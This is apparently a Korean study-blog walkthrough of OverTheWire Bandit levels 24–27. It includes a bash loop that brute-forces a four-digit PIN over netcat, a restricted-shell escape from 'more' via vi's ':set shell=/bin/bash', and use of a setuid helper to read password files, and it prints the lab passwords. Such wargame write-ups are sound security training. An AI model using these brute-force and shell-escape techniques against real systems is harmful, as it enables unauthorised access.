본문 바로가기

개인 공부/Bandit

Bandit 24 ~ 26

Bandit24 -> 25

1.  A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
You do not need to create new connections each time


※ Bruteforce Attack (무작위 대입공격) : 비밀번호를 0~9, a-z, A-Z, 특수문자를 순서대로 대입하여 비밀번호를 맞추는 공격

※ nc "Address" "Port" : (Netcat) TCP/UDP 프로토콜을 사용하는 네트워크 연결해 데이터를 읽고 쓰는 프로그램

※ grep -v "문자" : 문자를 제외한 것만 보여준다


01.  nc를 통해 bandit24의 비밀번호와 pin(4자리 숫자)번호를 입력
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0000
Wrong! Please enter the correct pincode. Try again.
    
02.  셸스크립트를 이용하여 pin번호를 찾을 브루트포스 셸스크립트 작성
pin번호 찾는 Bruteforce 셸스크립트

    #!/bin/bash
    
    for i in {0000..9999}		<-- for문 "0000" ~ "9999"
    do
       	echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"	<-- bandit24 비밀번호 + pin번호
    done

 

03.  작성한 셸스크립트를 nc에 전송하여 bandit25의 비밀번호를 얻는다
bandit24@bandit:/tmp/bn25$ ./bn24pin.sh | nc localhost 30002 | grep -v "Wrong"
I am the pincode checker for user bandit25. Please enter the password for user bandit24

and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
 Exiting.


 

 


bandit25의 PW :  p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

ssh bandit25@bandit.labs.overthewire.org -p 2220
PW :  p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d


Bandit25 -> 26

1.  Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, 

but something else. Find out what it is, how it works and how to break out of it.


※ more의 특징을 활용하여 sh 설정하기

  1. 사용자의 화면의 비율에 맞춰 파일을 보여준다
  2. more 실행중에 vi를 실행시킬 수 있다
  3. vi를 통해 :set shell=/bin/bash

01.  bandit26의 RSA키를 이용하여 ssh 로그인
bandit25@bandit:~$ssh bandit26@localhost -p 2220 -i bandit26.sshkey
바로 종료되는 것을 확인!!


02. bandit26의 셸을 확인
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26: x :11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext

#!/bin/bash
	
export TERM=linux
	
exec more ~/text.txt
exit 0

 

03. more에서 vi를 사용하여 shell을 바꾸기

  1. 터미널 화면을 작게 줄인다 
  2. more가 나오면 'v'키를 눌러 vi를 실행시킨다
  3. :set shell=/bin/bash를 입력하고 다시 :sh를 입력하여 bash셸을 얻는다

 

04. bandit26에 로그인을 했으니 패스워드를 찾아본다
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1

5. 다시 bandit26을 로그인 할 때 똑같은 작업을 하고 로그인한다

 




bandit26의 PW :  c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1

ssh bandit26@bandit.labs.overthewire.org -p 2220
PW : c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1


Bandit26 -> 27

1.  Good job getting a shell! Now hurry and grab the password for bandit27!


1. 홈디렉토리 안에 있는 bandit27-do를 실행시켜본다
bandit26@bandit:~$ ./badit27-do
Run a command another user.
Example : ./bandit27-do id


2. bandit27-do의 uid가 bandit27인것을 확인됐으므로 bandit27의 PW을 얻는다
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

 



bandit27의 PW :  YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

ssh bandit27@bandit.labs.overthewire.org -p 2220
PW : YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

'개인 공부 > Bandit' 카테고리의 다른 글

Bandit 30 ~ 32  (0) 2023.04.13
Bandit27 ~ 29(git)  (0) 2023.04.10
Bandit 21 ~ 23  (0) 2023.04.08
Bandit 17 ~ 20  (0) 2023.04.07
Bandit 13 ~ 16  (0) 2023.04.06